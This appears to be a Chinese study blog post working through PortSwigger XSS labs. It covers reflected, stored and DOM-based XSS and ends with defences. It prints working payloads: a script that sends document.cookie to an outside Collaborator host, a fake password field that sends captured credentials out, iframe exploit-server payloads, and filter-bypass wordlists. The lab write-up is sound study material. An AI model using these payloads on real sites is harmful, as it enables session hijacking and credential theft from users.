XSS

学习来源:https://www.ddosi.org/portswigger-xss-lab/

练习靶场:https://xss-quiz.int21h.jp/https://portswigger.net/web-security/all-labs

定义

XSS——跨站脚本(Cross-site scripting),一种Web安全漏洞,允许攻击者绕过同源策略(两个URL的协议、端口、主机都相同,两个URL同源),伪装成受害者用户,执行用户能执行的任何操作,并访问到用户的数据

同源案例:http://store.company.com/dir/page.html

URL结果原因
http://store.company.com/dir2/other.html同源只有路径不同
http://store.company.com/dir/inner/another.html同源只有路径不同
https://store.company.com/secure.html不同源协议不同
http://store.company.com:81/dir/etc.html不同源端口不同
http://news.company.com/dir/other.html不同源主机不同

How

操纵易受攻击的网站,将恶意js代码返回给用户,用户触发代码时,攻击者可以破坏用户与应用程序的交互

反射型XSS

【参考】:https://portswigger.net/web-security/cross-site-scripting/reflected

攻击方式

恶意脚本来自当前的HTTP请求(eg:xss-labs)

http://xherlock.top/test.php?a=hi+xherlock
<p>hi xherlock</p>

被恶意js攻击:通常诱导用户点击构造的网址,需要依靠外部传递机制,因此反射型XSS影响不如存储型XSS严重

http://xherlock.top/test.php?a=<script>alert()</script>
<p><script>alert()</script></p>    <!-- 弹窗触发,里面可以插入攻击者构建的URL -->

存在漏洞原因:HTTP请求的数据以不安全的方式将数据包含在了及时响应中(一般出现在搜索框)

手动测试反射型XSS漏洞步骤

  • 测试每个入口点:get/post的参数值
  • 提交随机字母数字值
  • 确定反射上下文:找到提交内容出现的地方(html文本、value属性等)
  • 测试payload

应用

窃取cookies(可以冒充登录)

局限性

  1. 受害者可能没登录
  2. 应用程序使用HttpOnly标志对js隐藏cookie
  3. 会话被其他因素锁定,如IP地址
  4. 会话超时

窃取cookie实战https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies (类似btslab,不过要用burp自带的burpsuite_pro里的burp collaborator client)

安装burpsuite pro版本教程https://blog.csdn.net/zhu940923/article/details/88082301

安装好后,点击burp左上角里的burp collaborator client,复制提供的payload,加入到下面fetch中http://后面,提交到某个post页面里

<script>
fetch('https://p2s3jzdasyb086w7bd6lysage7ky8n.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

image-20220714111134806.png

回到collaborator里点击poll now即可出现其他人点击恶意代码返回的数据

可以找到其他人的cookie

image-20220714111917898.png

image-20220714114725241.png

点击my-account修改相应cookie,成功冒充管理员登录

image-20220714140844988.png

捕获密码

许多用户使用自动填写密码的密码管理器,可以利用这点获取用户的密码

窃取密码实战 https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-capturing-passwords

前几步骤同窃取cookie,payload模拟表单提交的代码

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://your callaborator payload',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

提交后点击poll now查看

image-20220714143302042.png

执行CSRF

CSRF:跨站请求伪造是一种 Web 安全漏洞,允许攻击者诱导用户执行他们不打算执行的操作。它允许攻击者部分规避同源策略,该策略旨在防止不同网站相互干扰。

添加了WAF

实战 https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked

这个实验过滤了很多tag标签和属性,如下

image-20220716111521945.png

image-20220716111614719.png

可以使用burpsuite的intruder进行爆破,看哪些标签和属性可以使用

1.首先去测试哪些标签能够绕过WAF,intruder设置payload

image-20220716110913226.png

下面是我去HTML 标签参考手册 (w3school.com.cn) 爬取的标签,可以写入txt文件,使用intruder时直接load

<!DOCTYPE>
<a>
<abbr>
<acronym>
<address>
<applet>
<area>
<article>
<aside>
<audio>
<b>
<base>
<basefont>
<bdi>
<bdo>
<big>
<blockquote>
<body>
<br>
<button>
<canvas>
<caption>
<center>
<cite>
<code>
<col>
<colgroup>
<command>
<data>
<datalist>
<dd>
<del>
<details>
<dir>
<div>
<dfn>
<dialog>
<dl>
<dt>
<em>
<embed>
<fieldset>
<figcaption>
<figure>
<font>
<footer>
<form>
<frame>
<frameset>
<h1> to <h6>
<head>
<header>
<hr>
<html>
<i>
<iframe>
<img>
<input>
<ins>
<kbd>
<keygen>
<label>
<legend>
<li>
<link>
<main>
<map>
<mark>
<menu>
<menuitem>
<meta>
<meter>
<nav>
<noframes>
<noscript>
<object>
<ol>
<optgroup>
<option>
<output>
<p>
<param>
<pre>
<progress>
<q>
<rp>
<rt>
<ruby>
<s>
<samp>
<script>
<section>
<select>
<small>
<source>
<span>
<strike>
<strong>
<style>
<sub>
<summary>
<sup>
<svg>
<table>
<tbody>
<td>
<template>
<textarea>
<tfoot>
<th>
<thead>
<time>
<title>
<tr>
<track>
<tt>
<u>
<ul>
<var>
<video>
<wbr>

image-20220716110348962.png

爆破发现body标签可以绕过WAF

2.下面是确定能够使用的事件属性

intruder设置payload

image-20220716111750518.png

HTML 事件参考手册 (w3school.com.cn)爬取

onafterprint
onbeforeprint
onbeforeunload
onerror
onhaschange
onload
onmessage
onoffline
ononline
onpagehide
onpageshow
onpopstate
onredo
onresize
onstorage
onundo
onunload
onblur
onchange
oncontextmenu
onfocus
onformchange
onforminput
oninput
oninvalid
onreset
onselect
onsubmit
onkeydown
onkeypress
onkeyup
onclick
ondblclick
ondrag
ondragend
ondragenter
ondragleave
ondragover
ondragstart
ondrop
onmousedown
onmousemove
onmouseout
onmouseover
onmouseup
onmousewheel
onscroll
onabort
oncanplay
oncanplaythrough
ondurationchange
onemptied
onended
onerror
onloadeddata
onloadedmetadata
onloadstart
onpause
onplay
onplaying
onprogress
onratechange
onreadystatechange
onseeked
onseeking
onstalled
onsuspend
ontimeupdate
onvolumechange
onwaiting

发现了好几个状态码为200的,说明这些事件属性未被过滤

image-20220716111905846.png

选一个用来当作payload:(才发现实验网站提供了标签、属性payload:https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)选取onresize【当浏览器窗口被调整大小时触发】

进入exploit server并粘贴到body如下内容

<iframe src="https://your-lab-id.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>

点击store和Deliver exploit to victim即可攻击成功

存储型XSS

【参考】:https://portswigger.net/web-security/cross-site-scripting/stored

攻击方式

当应用程序从不受信任的来源接收数据并以不安全的方式将该数据包含在其以后的 HTTP 响应中时,就会出现存储的跨站点脚本

eg:在评论或发帖中提交

<script>alert()</script>

如果没有过滤就发布,别人访问页面就会出现弹窗

(论坛无过滤攻击词,直接将评论、发帖发布在网站上,用户触发漏洞遭到攻击)【经测试,我的网站主题对评论词语进行了过滤】

image-20220714092750010.png

image-20220714092803806.png

php代码审计太差了,完全找不到过滤函数(WAF),留待以后去做

基于DOM的XSS

【参考】:https://portswigger.net/web-security/cross-site-scripting/dom-based

DOM

DOM 将文档解析为一个由节点和对象(包含属性和方法的对象)组成的结构集合。简言之,它会将 web 页面和脚本或程序语言连接起来。

基于DOM的XSS漏洞通常出现在JS从攻击者可控制的来源获取数据并将其传递到支持动态代码执行的接收器(同反射型相似,需要将数据放入源中)

导致DOM-XSS漏洞的主要接收器:

document.write()
document.writeln()
document.domain
element.innerHTML
element.outerHTML
element.insertAdjacentHTML
element.onevent

eg:

document.write('... <script>alert(document.domain)</script> ...');

以下 jQuery 函数也是可能导致 DOM-XSS 漏洞的接收器:

add()
after()
append()
animate()
insertAfter()
insertBefore()
before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()

image-20220716160749195.png

应用

document.write中使用源接收器location.search的DOM XSS

实战:https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink 比较简单,在xss-labs中有很多相似练习

搜索部分绕过点:搜索<script>alert(1)</script>

image-20220716152152816.png

image-20220716151941238.png

来看下它们的前端js代码

function trackSearch(query) {
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
    trackSearch(query);
}

location.search使用选择元素内的document.write源在接收器中的 DOM XSS

实战:https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink-inside-select-element

关键部分代码

image-20220716153852426.png

前端form表单

<form id="stockCheckForm" action="/product/stock" method="POST">
    <input required type="hidden" name="productId" value="1">
    <script>
        var stores = ["London","Paris","Milan"];
        var store = (new URLSearchParams(window.location.search)).get('storeId');
        document.write('<select name="storeId">');
        if(store) {
            document.write('<option selected>'+store+'</option>');
        }
        for(var i=0;i<stores.length;i++) {
            if(stores[i] === store) {
                continue;
            }
            document.write('<option>'+stores[i]+'</option>');
        }
        document.write('</select>');
    </script>
    <button type="submit" class="button">Check stock</button>
</form>
<span id="stockCheckResult"></span>

前端js代码:

document.getElementById("stockCheckForm").addEventListener("submit", function(e) {
    checkStock(this.getAttribute("method"), this.getAttribute("action"), new FormData(this));
    e.preventDefault();
});    // 提交表单

function checkStock(method, path, data) {
    const retry = (tries) => tries == 0
    ? null
    : fetch(
        path,
        {
            method,
            headers: { 'Content-Type': window.contentType },
            body: payload(data)
        }
    )
    .then(res => res.status == 200
          ? res.text().then(t => t + " units")
          : "Could not fetch stock levels!"
         )    // 返回结果,若状态码200,则输出:返回文本+units
    .then(res => document.getElementById("stockCheckResult").innerHTML = res)    // 写到span里的html
    .catch(e => retry(tries - 1));

    retry(3);
}

分析后得出攻击目标:使服务器返回结果为含alert(),这样会被写入DOM

image-20220716154606795.png

右键点击Response to this request后再点forward

image-20220716154706906.png

image-20220716154930790.png

修改为<input onclick=alert(1)>,呃,不对,是有弹窗了但不对

拐回去看到了表单域那里的代码发现下面这部分代码可以从url中提取storeId的值生成select下的option

var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
    document.write('<option selected>'+store+'</option>');
}

因此可以通过product?productId=2&storeId=<script>alert(1)</script>来弹窗

image-20220716161042699.png

jQuery 中的 DOM XSS

可能导致DOM-XSS漏洞的接收器:

add()
after()
append()
animate()
insertAfter()
insertBefore()
before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()

eg:可以通过修改url来使得location.search源中包含恶意js代码

$(function() {
    $('#backLink').attr("href",(new URLSearchParams(window.location.search)).get('returnUrl'));
});
?returnUrl=javascript:alert(document.domain)

实战:https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-jquery-href-attribute-sink

image-20220716164724044.png

<script>
    $(function() {
    $('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});
</script>

直接闭合:结果发现被HTML转义

image-20220716164858319.png

联想到a标签的href里的javascript:

构造:returnPath=javascript:alert(document.domain)即可成功

使用 hashchange 事件的 jQuery 选择器接收器中的 DOM XSS

网站使用jQuery结合location.hash或自动滚动到页面上的特定元素引起,通常由hashchange事件处理程序实现

$(window).on('hashchange', function() {
    var element = $(location.hash);
    element[0].scrollIntoView();
});

hash用户可控,要想利用需要找到一种hashchange无需用户交互即可触发事件的方法

<iframe src="https://vulnerable-website.com#" onload="this.src+='<img src=1 onerror=alert(1)>'">

该src属性指向具有空哈希值的易受攻击的页面。加载iframe时,XSS 向量会附加到hash中,从而hashchange触发事件。

实战:https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-jquery-selector-hash-change-event

主页的js代码

$(window).on('hashchange', function(){
    var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
    if (post) post.get(0).scrollIntoView();
});

使用主页上方的漏洞利用服务器:

在body部分添加:

<iframe src="https://YOUR-LAB-ID.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>

image-20220716174108383.png

AngularJS中的 DOM XSS

AngularJS 是一个流行的 JavaScript 库,它扫描包含ng-app属性(也称为 AngularJS 指令)的 HTML 节点的内容。将指令添加到 HTML 代码时,您可以在双花括号内执行 JavaScript 表达式。当尖括号被编码时,这种技术很有用。

eg:{{$on.constructor('alert(1)')()}},下面这个检测出使用了angularJS,因此可以考虑这种xss绕过方式

image-20220716201142848.png

DOM XSS结合反射和存储的数据

eg:eval() 函数计算 JavaScript 字符串,并把它作为脚本代码来执行。

eval("var x = '" + location.hash + "'");

location.hash=‘;alert(1);’来弹窗

反射DOM XSS

实战:https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-reflected

searchResults.js中关键搜索代码:

function search(path) {
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            eval('var searchResultsObj = ' + this.responseText);
            displaySearchResults(searchResultsObj);
        }
    };
    xhr.open("GET", path + window.location.search);
    xhr.send();
}

eval函数出存在拼接的可行性

image-20220716204706037.png

上图为burpsuite截包获取的响应,可以看到搜索项在searchTerm字段中

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
           console.log(this.responseText);
    }
};
xhr.open("GET", path + window.location.search);
xhr.send();

拼接js,search=\"-alert(1)}// 【当 JSON 响应尝试转义开始的双引号字符时,它会添加第二个反斜杠】【然后在调用alert()函数之前使用算术运算符(在本例中为减法运算符)来分隔表达式】【最后,右大括号+双斜杠注释】

var searchResultsObj = {"results":[],"searchTerm":"\\"-alert(1)}//"}

存储型DOM XSS

实战:https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored

首先尝试提交评论,刷新博客页面并找到请求的数据,可以看到刚才提交的数据已被存储并返回到html中

image-20220717091548581.png

接下来找到 loadCommentsWithVulnerableEscapeHtml.js分析代码(省略了部分没用代码),这部分代码作用是将获取的评论信息渲染在页面上

function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(html) {
        return html.replace('<', '<').replace('>', '>');
    }    // HTML实体转义,防止插入标签,但是只转换一次

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");
            let firstPElement = document.createElement("p");
            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }
                let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author) 
                firstPElement.innerHTML = newInnerHtml
            }
            commentSection.appendChild(firstPElement);
            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = escapeHTML(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            userComments.appendChild(commentSection);
        }
    }
};

image-20220717094618291.png

分析有几处可能利用的绕过点:

  1. href标签直接拼接(前端检查),可以关闭js

image-20220717113812813.png

禁用js后仍不行:发现是input里的限制

<input pattern="(http:|https:).+" type="text" name="website">

修改掉后发现仍然限制:估计是后端也增加了WAF

image-20220717114429113.png

  1. author处注入,利用escapeHTML只检测一次来逃避

name处:<xherlock><input onclick=alert(1)>,提交后返回博客页面

image-20220717142226292.png

可以看到新增了input框,点击即可弹窗

  1. body处注入,同author

XSS能做什么

  • 冒充伪装受害者用户(窃取cookie)
  • 执行用户能够执行的任何操作
  • 读取用户能够访问的任何数据
  • 捕获用户的登录凭据
  • 对网站进行虚拟污损
  • 将木马注入网站

如何防止XSS

  • 接收用户的输入时进行有效全面的过滤(包括前端和后端)
  • 输出时进行编码数据(HTML实体转义等)
  • 使用适当的响应标头
  • 内容安全策略

具体针对防御

  • 不要使用innerHTML,使用innerText进行拼接,它会自动将HTML标签解析为普通文本
  • 避免使用eval,防止恶意js被运行
  • 不要轻易使用操作cookie的函数
最后修改:2022 年 07 月 18 日
如果觉得我的文章对你有用,请随意赞赏